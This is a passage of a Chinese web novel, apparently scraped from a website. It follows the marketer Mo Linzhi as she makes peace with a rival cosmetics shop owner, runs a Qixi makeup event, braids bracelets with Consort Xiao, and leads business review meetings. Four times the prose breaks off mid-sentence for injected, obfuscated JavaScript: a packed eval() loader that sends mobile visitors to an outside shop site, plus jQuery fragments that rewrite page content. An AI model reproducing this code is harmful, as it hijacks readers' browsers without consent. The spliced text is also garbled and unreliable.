早知道什么呢？佟玉华鼻头一酸，自嘲地笑了：算了吧佟玉华，就算再给你一次机会回到过去，你也不会和莫林知合作。 因为，她悦容庄，只能是这北境第一的胭脂铺，绝无让其他任何人并肩的可能。 想明白这一点的佟玉华面无表情地擦掉脸颊的两行泪痕，从地上起来，打道回府。 第二天一早，莫林知堪堪赶到《见闻》，就在门口和一行不速之客正面遇上。 晚香晚玉两人警觉地挡在她面前，提防着来人，可莫林知却从那双剪水双瞳中看出了一个专业经理人的理智。 她按上两人的臂膀，以坚定的眼神安抚，然后轻轻扒开两人，迎了上去。 “佟掌柜，有失远迎，失礼了。” “我来找你谈一桩生意。”佟玉华开门见山。 “可以。”莫林知爽快点头，而后侧身让开，迎她进门，并交代晚香备茶。 还是那个房间，一样的人员配置，不同的是，上次双方剑拔弩张地对垒，这一次，大家都坐着，和和气气地商谈。 “你上次说，悦容庄和丽颜和平共处，怎么个意思？”佟玉华沉着脸问，带着未卸下的防备。 “两家店铺的定位本来就不同。后续，悦容庄大可继续往上，打造成实打实的豪门勋贵奢品尊享。而丽颜，只做专业和实惠。” “不可能，市场太小了。”佟玉华直接否决了，“区区一个虚名还养活不了我背后这些人，他们跟了我这么多年，我不可能说弃就弃。” “北境的勋贵圈子小，可若是整个禹朝呢？”莫林知悠悠一笑，将自己的野心掀起一角，然后不出所料地看到了佟玉华脸上震惊的神色。 “你要把生意做到其他地方？”佟玉华一脸不可置信，“你知不知道现在是什么环境？皇室衰微，藩王割据，战火一触即发。几乎每位王爷都把自己名下的封地看得很紧，你觉得有谁会让你在自己的地盘上搜刮金银财帛？” “莫林知，你是太高看了自己，还是太高估了肃王府？” 顶着对面一声声的质疑，莫林知神色没有半点变化。 她就那么静静地看着，一双眼睛如同暗夜里的启明星，亮得吓人，又带着无可动摇的坚持和信念。 看得佟玉华开始怀疑自己。 难道是她浅薄了吗？ 不！她的分析一点没错，分明就是莫林知仗着有王府撑腰，得意忘形！ 佟玉华压下心里又开始纷乱的思绪，保持清明——不管怎么样，她今天来，是为了另一件事。 她重新调整好心态，正要张口，却被莫林知抢了先。 “佟掌柜，你今天来，应该是想让我帮你挽回悦容庄的地位吧？太妃娘娘昨夜旗帜鲜明地站队，势必会影响到其他各府对你们的考量，所以，你想让《见闻》做一些回应？” 佟玉华不意她早就猜到自己想法，脸上一僵，艰难点头：“······是。我愿意花钱，你报价，多少都可以。” 话音刚落，她脸上就闪过狼狈之色。 这种不吝于认输的姿态，她已经很久没有过了。 莫林知是过来人，她知道，有些位置，一旦站上去久了，就真的下不来了，同样，习惯了仰头的人，也不会喜欢低头。所以，对于佟玉华的窘态，她只当没看到。 奚落是最无知的反应。每个人都有穷途末路的时候，何必互相为难呢。 所以莫林知直接将早就准备好的通稿递了过去：“在这一行，悦容庄永远都是北境第一块金字招牌，是丽颜需要不断努力学习的方向。这篇内容如果没有问题，明天的《见闻》就按这个发行。价格不高，500两。” 佟玉华半信半疑地接过，慢慢展开，不知不觉就沉浸式看起来。 直到最后一个句点落入眼帘，她由衷地长舒口气，真心实意道了声“谢谢”。并从袖子里掏出一叠一票，然后数了500两，压在通稿上一起推回莫林知面前。 “银货两讫。” “嗯。” 莫林知看着她手上厚厚一叠银票，眉眼轻挑：“带这么多钱来，看来你是把我这当土匪窝了啊~” 佟玉华低头，视线落在手中那夸张的一叠上，笑了笑没说话。 要紧事说完，见佟玉华也没有要继续合作的意思，莫林知便起身作出了送客的姿态：“行了，知道佟大掌柜贵人事忙，我就不多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12923981|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留了。” 佟玉华出入这么多年，还从没被这么随意的“赶客”过，要是换做之前，她恐怕会在心里记上一笔。但是今天这一行，已经比预想的要轻松很多。 不管莫林知是出于什么考量轻轻放过，她都会记下这一恩情。 她带着身边亲信一起起身告辞，路过莫林知时，实在没忍住，还是问出了口：“你明明可以帮着丽颜趁此将悦容庄拉下马，为什么不这么做？” 为什么不做？ 这个问题······该怎么说呢？ 莫林知轻轻勾唇，在对方不解的眼神中，笑得意蕴深长：“答案我早就说了呀，我是个生意人，而我的生意，是要做到整个大禹朝的。” 天下三百六十行，她又怎可能凭一己之力，将三百六十行都抓在手中。况且，她本职是做营销的呀！ 营销是什么？就像游戏里的奶妈，让陷入绝境的品牌重新恢复生机，也像催化器，让本来要10年才能名扬天下的品牌在5年、甚至1年里享誉全国。 所以，她想让天下财富尽归北境，还得手上有筹码才行。 营销不是她全部的筹码，北境这些优良的商家，优质的产品才是！ 只是现在，《见闻》还未冲出北境之地，飞毛腿也还未覆盖完成，所以，很多设想，也暂时只是设想。难以对人言。 莫林知说完，再次伸手示意，做了个送客的姿势。 佟玉华不再多言，只是临出门前，她再次驻足，回头：“等我想清楚，再来找你合作。” 莫林知回以一笑：“如果想不清楚，那慢慢看也行。” “好，我拭目以待。” 佟玉华带着人，悄无声息地来，又静悄悄地离开。她的造访，远没有这一期的见闻来得轰动！ 首先让大家感兴趣的就是悦容庄和丽颜之间的恩怨情仇了。 这几年，佟玉华因为忌惮颜丽，明里暗里没少泼脏水。上一期，丽颜也没客气，直接踩着悦容庄上位，抢了不少生意。所以，在很多人眼里这两家应该是不死不休了。 大家都在等着看最后一场“棒打落水狗”。 结果没想到啊没想到，丽颜明明已经占据上风，大好的时机就在眼前，居然轻飘飘的放过了！！ 这是······化干戈为玉帛了？ 一群等着看戏却没看着的人百思不得其解，最后只能啧啧称奇地归为一个点：还是《见闻》的管事手段厉害，竟能摆平这两家的掌柜，让她们携手合作！ 最后的结果就是，这一期内容出来后，往《见闻》跑的商家更多了。莫林知抓着丽颜这个项目不放松的同时也没忘了这些新客户，时不时的抽空指点两个商务，应该怎么做背调，怎么看市场潜力及商家的潜力等等。 总之就是，《见闻》后面的排期已经定了四五家。完全供不应求，莫林知已经考虑要不要再来一波“加量不加价”了。 《见闻》的轰动之二，是将丽颜给萧太妃专门打造的妆容详解分享出来了，不止如此，上面还说，七夕当日，鹊桥旁，丽颜要当众随机择选用户，当众免费边画边教授同款妆容。 不限身份年龄，甚至不限性别！ 此言一出，全城女性，尤其是普通人家的女性都轰动了！ 54. 七夕 《见闻》发布的第二天就是七夕，这日，少女们早早地在家用了晚餐，然后约上小姊妹，甚至是家中长辈一起前往鹊桥。 不是为了来一段浪漫的邂逅，而是为了占个前排，去看丽颜的掌柜现场授课。 运气好的话，说不定还能get一个免费妆容呢~~~ 很多人怀着这样的期望特地比往年早了一些出门，但到了现场一看，早已里三层外三层围了个水泄不通。 “怎么办？这也看不到啊······”挤不进去的年轻娘子哭丧着脸问同伴。 “要不······等会儿再来？不是还有好几轮吗？” “可是等会儿应该也有很多人吧。我们要不还是继续等着吧？”说这话的人自己也有些纠结。毕竟是一年一次的七夕庙会呢，错过又要等一年。 但是吧······其实庙会和其他的节日庙会也大差不大，好像还是丽颜的机会更难得点？ 外围的小娘子们左右为难拿不定主意，里面，颜丽也接到了下属的请示： “掌柜的，要不我们把这个教学时间延长？不然这边堵了太多人，我怕等会儿出问题。” 其实她不提，颜丽也早有此意。 没办法，人太多了，多得吓人。 但偏偏这样的正日子，莫林知不在！这一天她就早上来了趟店里，交代了一下安全为上，其他都是次要的，然后就说晚上有事就不跟摊了，有什么事情自己拿个主意。 颜丽想了想，这个应该就是所谓的“安全问题”了吧？略略犹疑了一下，她还是叫来两人去外面宣告消息：之后7天，丽颜每日都会定时进行妆容教学，没有挤进来的不用拘泥这一时。 这样连续喊了七八遍后，外围的人才终于散去了大半。 屋里的颜丽见状，一边暗“骂”了莫林知几句，一边擦擦额头的薄汗，赶紧出去执行活动流程。 五公里外的肃王府后院，正和萧太妃一起在院子里纳凉的莫林知一连打了几个喷嚏。 “是不是干冰放太多了有点着凉？”萧太妃放下茶杯关切道。 莫林知摇摇头，笑了下：“估计是颜丽在骂我，没事儿，娘娘，我们继续吧。”她擦了擦嘴角，继续把注意力放到眼前各色编绳上。 今日是丽颜这场活动的收官战，按照她往常的性子，应该是要在现场把控的。只是今日也是七夕，早上出门的时候，她脑子里莫名就浮现出了萧太妃的身影，然后就让晚香去了主院请示：晚上是否要一起过节。 萧太妃自然是乐意之至。正好，两人还都不太想出门人挤人，就约定了一起吃个饭，然后做编绳。 于是毫无犹豫地，莫林知就选择了放飞颜丽——能出什么岔子呢？流程都讲了好几遍了，可能有的突发情况也都预演过了，再不济，颜丽也不是吃干饭的。 她就是单纯的懒，能不自己动手就完全撒手的那种。 毫无愧疚感地把另一个朋友抛到脑后，莫林知看着又双叒错乱了的花纹，哭丧着脸丢了绳子：“这也太难了，算了，我手残，我认命了。” 她这话说得搞笑，萧太妃和身边几个器重的侍女都忍不住掩嘴。 笑过之后，萧太妃拿起来看了一下，然后把错了的几步退回，同时还不忘教训她：“都说了让你从简单的开始了，你非要上来就选个这么高难度的。” 莫林知一听，更泄气了：“那几款简单的都是六七岁的小孩子学的，我也从头开始，有点丢脸吧······而且，这款花纹多好看，适合英姿飒爽的女将军。” “嗯，也适合男将军。”萧太妃幽幽补充。 “是吗？会不会有点女气？”莫林知接过半成品举到半空中，脑子里出现的第一个男模特就是萧衍。她想象了一下萧衍带这个编绳的样子······嗯，果然有点想象无能。 不对！她为啥要拿萧衍当参考对象？？？ 莫林知晃晃脑袋，赶紧撤回一条肖想，然后叫了碧心帮忙，专心致志地在她的指点下继续捣鼓。过了会儿，听说这边有活动的萧瑾也牵着莫林杰来了。 “姐姐~~这个是给我编的吗？”莫林杰小跑着凑过来，一双水润圆乎的大眼睛期待地看着莫林知手上的作品，眼里的光芒比天上的星星还闪耀。 莫林知反射性看了看他细嫩的胳膊，第一反应是‘好像还蛮适合的’，紧接着脑子里灯泡亮了：是诶，送给小杰的话就不用编那么长啦，这都几乎快完成了！ 于是莫林知点点头，然后比了比长度：“差不多了，我给你串两个小铃铛要不要？” “要要要！”莫林杰连连点头，然后迫不及待地自己在旁边的零件盒子里选喜欢的铃铛式样。 一刻钟后，莫林杰手上一个新鲜出炉的编绳手环就好啦~~他兴奋地不停转着手，对铃铛的声音着了迷。 编绳手环主体采用的是黑金配色，搭配两个纯金铃铛，还别说，霸气又可爱~~ 莫林知越看越心痒，忍不住再次挑了3根黑线2根金线准备再挑战一次——正好还能搞一个姐弟款嘛~~ 也不知是不是量变达到了质变，编第二根的时候，她感觉好像比刚才顺了很多，第一遍踩过的坑，返工的点都避开了。也就一炷香的时间，第二根很快完成~ 莫林知终于感受到了一点成就感：“果然熟能生巧是真理啊~~~” 萧太妃凑过来看了眼，也面露赞赏：“确实不错，你自己戴的话，可以串点玉穗，文雅一点。” 莫林知看了看萧太妃手上那个花纹繁复，穿玉引珠，色彩娇嫩的未完成品，心里蓦地一动，转而道：“不如我给大家每人编一个吧，娘娘想要什么样式的吊坠？” “我的话，就玉如意吧，那个适合我。” 莫林知点头，挑了两个觉得最别致的玉如意放到一边，转而问另一人：“二少爷呢？” “我要元宝。谢啦~”萧瑾毫不客气笑纳了。 莫林知一听，忍不住噗嗤一声：“怎么感觉元宝更适合我。嗯······给王爷的选什么形状比较好？宝剑？印章？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943162|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “衍儿的话，用平安扣吧。”萧太妃温柔笑着给了个答案。 “平安扣”，护身辟邪、出入平安。 萧太妃眼下心心念念之所向，不言而喻。 桌上一圈，除了懵懂的莫林杰，俱都沉默了。 要不是顾及到萧太妃的心情，莫林知都想直接叹口气。 萧衍在的时候，她没觉得这个人有多重要，直到这些日子他缺席，莫林知才意识到，萧衍平时给她解决了多少麻烦。 就像一个哆啦A梦，有问题了，需要协助了，跟萧衍开口，他永远都是风轻云淡的一句：好，明日就给你答复。 ——简直就是最强辅助。 不得不说，在一个用人不疑，还给你最大支持的老板手底下做事，真的很爽。莫林知从接手到现在，心态极度丝滑，毫无内耗！ 要是人在就好了，过两天月度会议，正好可以验收一波成果！ 想到这里，莫林知编绳的手停住了——萧衍不在，但萧家也还得有人出席啊不是？！ 突然想起这一挂的莫林知精神一振，连忙坐直，表情都正经严肃起来：“太妃娘娘，您后天方便吗？可能需要您抽出一天时间来参加一个会议。” 萧太妃见状，以为她出了什么事情，也顾不上忧子之心了，连忙点头：“有时间，是有什么需要我帮忙吗？” 莫林知摇头：“不是，后天是我跟各个掌柜定下的月度汇报日，按理说王爷在场最好，但是现在他还没回来，所以我想请您出席。” “可我一向不过问这些······”萧太妃有些迟疑。 “没关系，您只要在场就行，不用拿主意。” 她这么一说，萧太妃就明白了——就是需要个萧家人镇场子，象征意义大于实际作用。 “行，那天你安排。” 虽然心里对这个结果是十拿九稳，但是真的听她愿意出席，莫林知还是由衷地舒了口气：“那我提前谢过娘娘啦~明天我让晚香把会议行程送过来，娘娘可以先看一下，如果有需要调整的可以和我说~” “没问题。”萧太妃也很是爽快，看不出半点勉强。 两人才商定好，对面萧瑾立马开口了：“我也想去。娘，莫管事，我能不能也去旁听一下？我保证，到时候我只看不说。” 莫林知是无所谓的，这本来就是他们萧家的产业，人小公子要来视察一下她还能拦着不成？ 只是她不确定萧瑾这临时一出会不会耽误了他原本的课业安排，所以也不敢擅自拿主意。于是把征询的目光投向了大家长萧太妃。 结果萧太妃比她更无所谓：“那就一起。明天把会议安排也给你送一份，你提前熟悉熟悉。到了那里，你就好好看好好听，有什么疑虑先记下，回来再请教林知。” “是，母亲！”萧瑾恭谨应下，然后转向莫林知，露出一个积极少年特有的求知脸：“莫管事，到时候还请不吝指教。” 莫林知回了一礼：“二少爷客气，我一定知无不言言无不尽。” 55. 复盘 悠闲的时间总是过得很快，聊完正事没多久就到休息时间了。当晚，莫林知收获了萧太妃赠予的手链一条，自己也赠出了3条。本来萧衍那条是想给萧太妃转交的，结果她拒绝代劳，还意正言辞表示礼物就应该亲自送。 额，也行吧。想想萧衍也送了她两次礼物，确实应该回个礼。 于是莫林知手上戴着萧太妃送的新手链，用盒子装着那条暂时送不出去的手链，牵着小杰告辞了。 第二天她就陷入了紧张的复盘中。 首先是对‘丽颜’的七夕活动复盘。 复盘资料她其实一直在整理，但是很多数据直到今天才算出炉，所以莫林知花了一上午的时间完善数据和后续的规划，然后将完稿的复盘报告下发给印刷坊，让他们印个十五份的样子。 与此同时，她还要在这一版的基础上进行扩充，撰写《见闻》本月的月度复盘规划。 虽然一个是基于活动的复盘，另一个则是整个报纸平台的复盘，但是，七夕活动也是整个报纸本月的亮点，所以，有些能复用的结论，莫林知就懒得重新想了，直接挪用。 都是职场老油条了，要学会适当偷懒^.^ 印刷坊的效率很快，刚过午时没多久就把复盘资料送了过来。莫林知一看，当即让人去颜丽那边传话：本来约了明天的复盘会能不能改今天。 颜丽自然是无有不应的，直接带着两个得力下属就鲨过来了。就是坐在会议室抱怨连连~ “要不要这么赶？昨晚累到半夜，今早也在马不停蹄地教学，还想下午歇歇的。” “赚钱哪有轻松的？我也想每天啥事儿不做就有大把钞票送过来。”莫林知不管她，直接把资料发下去，每人一份，“先扫一眼，熟悉一下。以后每一场活动结束都会有一个这样的复盘。当然，这个不是最终版，有什么疑虑大家都可以提。会后我会对应修改完善，然后终版交给双方做存档。” 颜丽就看了个开头。几串数字，清清楚楚交代，本次活动颜丽的日均访客达到多少人，环比提升多少，且推测流量主要事情抢了哪几家店铺的——直观，太直观了！ 她恍恍惚惚大为震撼：“你怎么知道这中间90%来自于悦容庄呢？” “活动开始前就雇了个小乞儿每天帮我数着，中间我也找人抽空去盯了一天，数字差不多。”莫林知弹了下纸张下面的脚注：“所有数据的时间范围和计数逻辑我都在下面有写，如果大家对这个逻辑存疑，可以提出自己的想法，我们前后保持统一即可。” 颜丽缓缓摇头：“没，没有疑问，你继续吧。” “行，首先从店铺整体看，访客涨幅是达到了我们的预期的，日均成交人数和成交金额虽然环比也有提升，但是在转化率上，距离悦容庄也还有一定差距——我觉得这个就是品牌的效应，所以后续的年框合作，我的重点也是在于提升‘丽颜’的定位。” “其次，分到胭脂、黛笔、唇彩等各条线路来看，胭脂和唇彩的试用装消耗、问询人数、购买人数显然更高，后续可以划为店铺的一梯队产品。而且我建议，后续的礼盒，可以在这两个系列上开发单品的多色礼盒。” “然后是针对本次的派样以及后续的促购买手段，大家可以看一下，截至昨晚，各个系列的小样消耗数量分别是xxx、xxxx、xxxx，各系列的回购人数是xxx、xxxx、xxxx、礼盒的购买人数是xxx、所以各系列和礼盒的转化率分别是1.2%、1.8%、2.1%、2.0%。礼盒的效果还不错，后续建议可以多用用，比如给尊享会员的专属24节气礼盒，大众均享的节日礼盒等等。” “最后，结论有4点：” “第一、产品上，后续建议着重开发胭脂、唇彩线路，当然，也欢迎其他新品。” “第二、接下来的活动也会把资源聚焦在胭脂和唇彩上，冬季会增加面脂作为主打新品。其他产品暂时待定。” “第三，目前全店的转化率还有提升空间，接下来店铺可以尝试做做日常活动，并继续保持小样客户的回购优惠，看是否还有转化空间。” “第四，针对刚才提到的品牌力，我这边也做了一份接下来的年度合作规划，如果大家对面前的复盘没有意见，那我把接下来的资料发下来？” “等一下！” 颜丽手口并用按下暂停键，抬起头，露出呆滞的表情和一双蚊香眼：“信息太多了，你让我缓一缓。” 莫林知见状，眼中浮现出星星点点笑意，人往后一靠，整个儿从战备状态切换成休闲状态，悠悠然开口：“慢慢来，不着急。” “首先有个问题，转化率怎么算的？” “购买人数除以访客人数，如果是全店的转化率那就用全店的数据算，如果是胭脂的转化率那就只用胭脂的购买人数和访客人数算。脚注也有写。” “那为什么前面的有悦容庄的数据，后面分到系列就没了？”颜丽不解。 莫林知也很坦诚：“按理说是要有，我们做效果复盘的原则就是比竞店、比行业、比自己。但是我只能大概知道每天有多少人进了悦容庄的店铺，有多少人拎着东西出来，没法分辨到具体产品。不过我觉得问题不大，悦容庄的数据仅仅是参考而已，我们的定位和她们不一样，所以，专注在自己的优势上做到极致就好。” 说真的，说这话的时候，莫林知还真有点担心，她会像前世某些老板一样，无理取闹地来一句“我就要悦容庄的数据对照看看。” 莫林知一眨不眨地盯着她，等着她下一步指示。 好在，颜丽还没这么变态，她长舒口气，脸上笑容缓缓绽开：“感觉我这3000两是真的划算了，听你的，过吧。” 此言一出，莫林知也不着痕迹松了口气，她双手环胸，一副“我还能骗你”的表情：“早跟你说了是首位顾客的体验价。我家大业大，做的可是本分生意。昨晚那辆花车我都没加钱好吧。” “是是是，大恩不言谢，改天一定用实际行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954856|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动报答。”颜丽双手抱拳。 莫林知也回了一个：“放心，我一定会收账的。” 两人对视一眼，不约而同，噗嗤笑出来。 复盘结束，莫林知继续开始年度规划和下一场活动的规划。年度规划比较泛，只是大概预估了接下来一年的大型活动时间节点，以及配合每个节点的活动主题、活动形式，以及终极目标。 重点是接下来的这场。 上次莫林知有和颜丽提过，后续可以和城内著名的绸缎庄、成衣铺合作，联名办一场大型活动，然后让丽颜成为这场活动的御用妆容店铺。 这几天，她抽空把这个活动的具体形式给弄出来了，今天要和颜丽商量的，就是关于这场活动她需要付出的权益。 “我想把这场活动做成一个大型比赛，根据初始出场顺序分为五个档，报名费分别是1000两、800两、500两、200两以及50两。参赛单位可以是店铺也可以是个人，地域不限。丽颜需要做的就是免费提供全程的所有人员妆造。” “到时候，展台那边也会专门给你设置一个展示位。” “我底下的人手恐怕不够。”颜丽有些迟疑。 “那就临时招聘，如果定安城没有人那就面向全北境。我不相信这个世界上没有解决不了的问题。”莫林知态度果断坚决，“以后每年这场比赛会在冬夏举办两次，如果你有意向，至少前3年的妆造冠名权我都可以一口价放给你。三年之后再进行拍卖。” “3年啊······”颜丽目光悠远，有些感叹，“依照目前的形势，三五年内，禹朝必有一战吧？呵呵，这个冠名权，你是让我在赌博？！” “愿者上钩，我不强迫。如果你不愿意，那就暂定今年，明年开始竞标制。”莫林知神色淡然，没有半点不高兴。 “不！我要5年的。”颜丽冲她嫣然一笑，“忘了说，我赌运不错。” 5年！！！这几乎就是明摆着站队了。 莫林知眯眼看着她，但那张芙蓉面被笑容掩饰得很好，除了灿烂，什么都读不出来。 稍稍沉吟，莫林知果断答应了：“行。等会儿我让人把契约改一下。” “哟嚯！你居然没要求每年加价！！！”颜丽故作震惊，挤眉弄眼，而后自己忍不住破功笑了，“又占了你一个便宜，开心了~~~” 她说着开始收拾面前的一份份资料，一副事情谈完了准备走人的样子。正要开口问“要不要再约个火锅放松一下”，冷不丁听到对面莫林知来了一句“最后一件事——” 颜丽当即没绷住—— “不是，你谈事情都是一堆一堆谈的？？？？” 莫林知淡定忽略她欲哭无泪的表情，继续把一份契约推过去：“好好看看，没问题就签了吧。” 她说得那么笃定，颜丽都顾不上哀叹，连忙端正坐起，一脸狐疑：“什么东西？丽颜产品代销授权？飞毛腿？？？” “飞毛腿还卖货？？？”她一脸震撼。 56. 会议 “更正一下，飞毛腿，一直都有卖货。”莫林知说着晃了晃手中的《见闻》。 颜丽视线跟着她的手一起动了下，瞬间哑然。 这么说······倒也没错。但这也不是一个概念啊······ 她收回目光，重新聚焦在眼前的契约上，感觉没什么问题后，就爽快地签完了再推回去：“你什么时候要货？” “快了，到时候提前7天通知你。”莫林知一边回答一边低头检查署名，然后把另一份给了她。 “行。”颜丽爽快应了。收起眼前这一刀文件，正要起身，又想起什么停住：“······你应该没事儿要说了吧？” 莫林知手一翻，做了个随意的姿势：“没了，请便~” 颜丽这才松了口气，彻底放松下来。 “好不容易结束了，吃个火锅庆祝下？” 莫林知摇头拒绝。 颜丽仍不死心：“我请客！” 莫林知抬头，表情十分遗憾：“把你送走，我们内部紧接着就要开下一个会。” 颜丽：“······合该你发财。那我走了，再会~~” “再会。”莫林知冲她挥挥手，然后示意晚香代为送一送。 正如她所说，颜丽带着人一走，室内几个人立马换座位的换座位，关门的关门，继续开第二轮。 首先是对于工作流程，莫林知抬头，环视了一圈：“进来也有一个月了，虽然我没有系统地给大家做过训练，但是这一个月都处于实战中，所以，对于自己的岗位职责和工作流程，大家还有什么不清楚的吗？” 其他人你看看我我看看你，然后摇头。 “行，既然没问题，那所有人按照自己的理解，写一份岗位要求和工作流上来。下班前交。另外，对于最近找上门的客户，商务部有什么结论吗？” 被点到的齐铭和同仁对视一眼，他作为代表先开口了：“这半个月找上门求合作的商家一共二十九个，我们从店铺产品、客流、服务、口碑等各方面做了调查，从中筛选出了10个觉得比较有潜力，产品没有问题的商家。莫管事，这个是名单，您看一下。”说着递上去2张纸。 莫林知接过，发现每个商家下面都有50来字的推荐理由，还算认真。 “调查的信息底稿有吗？”莫林知又问。 齐铭先是点头，然后露出一个不太好意思的笑容：“有······就是可能有点潦草。” 莫林知没说什么，手指往里收了收，示意底稿拿上来。 齐铭连忙从自己那厚厚一叠中找出所有底放到她手边。 莫林知随手翻了几张，发现确实很凌乱，于是抬头看向另一个商务：“你的呢？” 另一个商务韩雯雯是个比较沉默寡言的女孩子。进来一个月，每一次莫林知找商务，基本都是齐铭迎头顶上。当然，齐铭不会抢功，只是，这样的次数无形之中多了，也会影响印象分。 莫林知当初面试会选她，一个是觉得她做事还算细心，另一个则是看中她独有的气质魅力——让人感到安心。 韩雯雯将自己整理的信息交给齐铭，托他传递了一下。莫林知拿到后也不过就是翻了两下，新的任务就直接布置下来了：“韩雯雯，明天下班前出一个客户信息调查的模版框架给我审核，我看过没问题就直接下发印刷坊，后续你们就用新的框架进行信息归档。” “好的。”韩雯雯应下，点头。 解决了商务这边的课题，莫林知将商务的结论转给两位策划：“你们自己分一分任务还是我来指定？” 晚玉稍一迟疑，龚煊已经眼疾手快地拿起笔在三个商家后面打了勾：“我要这三个，剩下的不是我擅长的领域，就不接了。” 直言直语，真够嚣张的。 莫林知挑眉，没有直接回复，而是看向晚玉：“你呢？5个选好了吗？” 晚玉也是先圈了4个，然后笔尖就停在那里不动了，神情有些挣扎。 “怎么？你也想少接1个？” 晚玉连连摇头：“不是不是，莫管事，我还有一个想接的和龚煊重合了。” 她说完就咬着下唇低下了头，眼中浮现一丝愧疚。 她觉得自己不应该这么找事儿，让莫林知为难，但是······一想到对方是龚煊，她就不想忍。 想到此，晚玉就忍不住偷偷抬眼，偷觑了一眼上位莫林知的脸色。 出乎意料的是，莫林知脸上没有任何不悦或者为难，反而一脸兴致盎然。 没错，看到晚玉犹豫过后还是勇敢为自己争取的样子，莫林知确实是有些意外和······惊喜。 因为这个行为，已经大大超出了她这十八年所受的“服从”教育的范围。莫林知从她这一反常行径中，仿佛看到了一朵深夜幽昙趁人不注意，缓缓绽放的场景。 不过，能激得这朵昙花缩短了等待时间的，是他吗？ 莫林知忍不住把目光投向了一身反骨的龚煊：“怎么搞？你愿意让吗？” 龚煊一脸不屑：“我先勾选的，凭什么我让？” 说的有道理，饶是莫林知，也忍不住点点头，然后一锤定音：“既然这样，那就石头剪刀布，谁赢了归谁。” “······什么？”龚煊有些错愕，“我刚刚说先来后到的时候你明明点了头吧？” “是啊，我赞同你的说法。但你也要理解，每个人的反应速度是有快有慢的，所以，我还是觉得有必要给晚玉一个机会。碰运气的游戏，很公平，不是吗？” 龚煊不服：“哪里公平了，我明明可以不碰这个鬼运气！” “那没办法了，《见闻》是我的，所有规则只有我拥有最终解释权，你不服气，可以走。”莫林知也很光棍，直接把“爱做不做”的态度摆在明面上了。 不是她说，龚煊这个人简直就是个刺头。一群人磨合了一个月了，大家都能相处成一个整体，唯独他，独立于所有人之外。 独立就独立吧，只要事情做好她也懒得管，但是底线不能踩。 当面就说指定的任务不想做······想干嘛？带头造反呢？ 冲这一点，莫林知就会找机会鲨鲨他的威风，杀鸡儆猴。 “行了，快点决定吧。”莫林知不耐烦地催促。 龚煊盯着她眯了眯眼，一语不发，果断转身和晚玉石头剪刀布，然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12963870|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后赢了！ 他得意地瞟了上首的女人一眼，双手抱胸靠在了椅背上。 晚玉乖乖在剩下几个选项里挑了一个圈上。然后把两张纸推到了莫林知面前。 莫林知看都不看，直接一锤定音：“最后两个还是归属龚煊，明天你们先各自做一个排期，后续我根据排期来跟进结果。” “最后是下一期的选题，大家有没有什么好的建议？” 几人你看看我我看看你，都默默低下了头，不发一语。室内陷入一阵令人头皮发麻的尴尬。 莫林知指骨敲了敲桌子，再问了一遍：“都没有吗？” 创作部何梅悄悄抬头，不期然对上一双鼓励的眼睛，于是捏了捏拳头，鼓起勇气开口：“接下来就是中秋了，我觉得我们可以提前替大家品尝一下城内的各色月饼糕点，做一期点评。” 莫林知：哇哦！！！！ 莫林知：果然，不管什么朝代，人类的需求和智慧都是相通的。 她心里虽然激动有人和自己的想法不谋而合，但表现在面上就只是克制的浅浅微笑了。 “何梅的想法可以，其他人还有没有补充？” 众人摇头。 “那行，就在此基础上，大家碰一下具体的执行流程吧。”莫林知再次敲了下桌子，cue下一个流程。 素材部何泽率先提出了自己的疑问：“我们要先去采购糕点吗？内部试吃？会不会缺了一些信服力？” 他旁边，校对部的陈诚忍不住反驳了回去：“那不然要请全城试吃吗？而且，有了前几期内容的铺垫，《见闻》本身就已经足够权威了吧？” 剩下人都没说话，不是在低头沉思解决方案，就是不想站队。 见大家主意不定，莫林知直接把难题抛给了两位专业的策划：“龚煊、晚玉，你们怎么想？” 龚煊埋着头，不知道在纸上画些什么，头也不抬地给出看法：“吃食这个东西最是众口难调，我支持多找些人试吃。” “成本控制呢？” 龚煊抬头，肩一耸：“不知道。” 嘴里说着“不知道”，但脸上明摆着一副“我有想法但就不告诉你”的神情。 